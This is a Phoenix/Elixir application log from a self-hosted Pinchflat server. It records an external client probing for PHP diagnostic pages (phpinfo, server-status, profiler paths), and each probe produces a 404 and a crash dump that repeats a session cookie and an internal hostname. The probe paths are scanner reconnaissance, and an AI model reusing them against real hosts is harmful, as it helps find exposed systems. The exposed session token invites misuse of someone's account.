{PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old_phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 240, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old_phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old_phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 240, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:25.155 [info] GET /server-info.php 02:10:25.156 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=188.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.156 [debug] QUERY OK source="settings" db=0.3ms idle=128.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.157 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.157 [error] #PID<0.3545.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 241) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /server-info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 241, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3545.0>, params: %{}, path_info: ["server-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/server-info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7GtmzgGIQ14AATwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 241, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 241, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:25.215 [info] GET /server-status.php 02:10:25.217 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=187.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.217 [debug] QUERY OK source="settings" db=0.2ms idle=131.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.217 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.218 [error] #PID<0.3546.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 242) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /server-status.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 242, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3546.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/server-status.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7G8Gq4y6BMwAATxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 242, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 242, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0Zo (truncated) 02:10:25.278 [info] GET /_profiler/phpinfo 02:10:25.279 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=191.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.279 [debug] QUERY OK source="settings" db=0.2ms idle=123.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.279 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.280 [error] #PID<0.3547.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 243) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /_profiler/phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 243, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3547.0>, params: %{}, path_info: ["_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7HK75FVksFMAATyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 243, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 243, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 